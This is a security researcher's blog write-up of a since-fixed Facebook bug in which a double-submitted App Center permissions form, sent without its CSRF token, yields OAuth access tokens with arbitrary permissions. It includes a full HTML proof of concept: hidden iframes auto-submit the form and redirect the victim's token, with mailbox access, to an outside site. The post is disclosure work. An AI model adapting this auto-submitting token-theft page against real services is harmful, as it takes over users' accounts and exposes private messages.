Stealing Facebook Access Tokens with a Double Submit

Reading time ~2 minutes

After the wave of OAuth bugs reported recently, It’s my turn to present a just as serious (but slightly less complicated) issue.

On the Facebook App Center, we have links to numerous different apps. Some have a “Go to App” button, for apps embedded within Facebook, and others have a “Visit Website” button, for sites which connect with Facebook. The “Visit Website” button submits a POST request to ui_server.php, which generates an access token and redirects you to the site.

The form is interesting in that it doesn’t present a permissions dialog (like you would have when requesting permissions via /dialog/oauth). This is presumably because the request has to be initiated by the user (due to the presence of a CSRF token), and because the permissions required are listed underneath the button.

During testing, I noticed that omitting the CSRF token (fb_dtsg), and orig/new_perms generates a 500 error and doesn’t redirect you. This is expected behaviour.

However, in the background, an access token is generated. Refreshing the app’s page in the App Center and hovering over “Visit Website” shows that it is now a link to the site, with your access token included.

Using this bug, we can double-submit the permissions form to gain a valid access token. The first request is discarded - the token is generated in the background. The second request is sent after a specific interval (in my PoC I’ve chosen five seconds to be safe, but a wait of one second would suffice), which picks up the already generated token and redirects the user.

The awesome thing about this bug is that we don’t need to piggy-back off an already existing app’s permissions like in some of the other bugs, we can specify whatever ones we want (including any of the extended_permissions).

When the user is sent to the final page, a snippet of their FB inbox is displayed, sweet! In a real-world example, the inbox would obviously not be presented, but logged.

Full PoC

<!-- index.html -->
<html>
    <head></head>
    <body>
        <h3>Facebook Auth PoC - Wait 5 Seconds</h3>
        <!-- Load the form first -->
        <div id="iframe-wrap">
            <iframe src="frame.html" style="visibility:hidden;"></iframe>
        </div>
        <!-- Load the second after 5 seconds -->
        <script>
            setTimeout(function(){
                document.getElementById('iframe-wrap').innerHTML = '<iframe src="frame.html" style="width:800px;height:500px;"></iframe>';
            }, 5000);
        </script>
    </body>
</html>
 
<!-- frame.html -->
<form action="https://www.facebook.com/connect/uiserver.php" method="POST" id="fb">
    <input type="hidden" name="perms" value="email,user_likes,publish_actions,read_mailbox">
    <input type="hidden" name="dubstep" value="1">
    <input type="hidden" name="new_user_session" value="1">
    <input type="hidden" name="app_id" value="359849714135684">
    <input type="hidden" name="redirect_uri" value="https://fin1te.net/fb-poc/fb.php">
    <input type="hidden" name="response_type" value="code">
    <input type="hidden" name="from_post" value="1">
    <input type="hidden" name="__uiserv_method" value="permissions.request">    
    <input type="hidden" name="grant_clicked" value="Visit Website">
</form>
<script>document.getElementById('fb').submit();</script>

Fix

Facebook has fixed this issue by redirecting any calls to uiserver.php without the correct tokens to invalid_request.php

From Bug Bounty Hunter, to Engineer, and Beyond

A couple weeks ago I had my last day on Facebook's Product Security team. Abittersweet moment, but one which marks a "new chapter" in my ...… Continue reading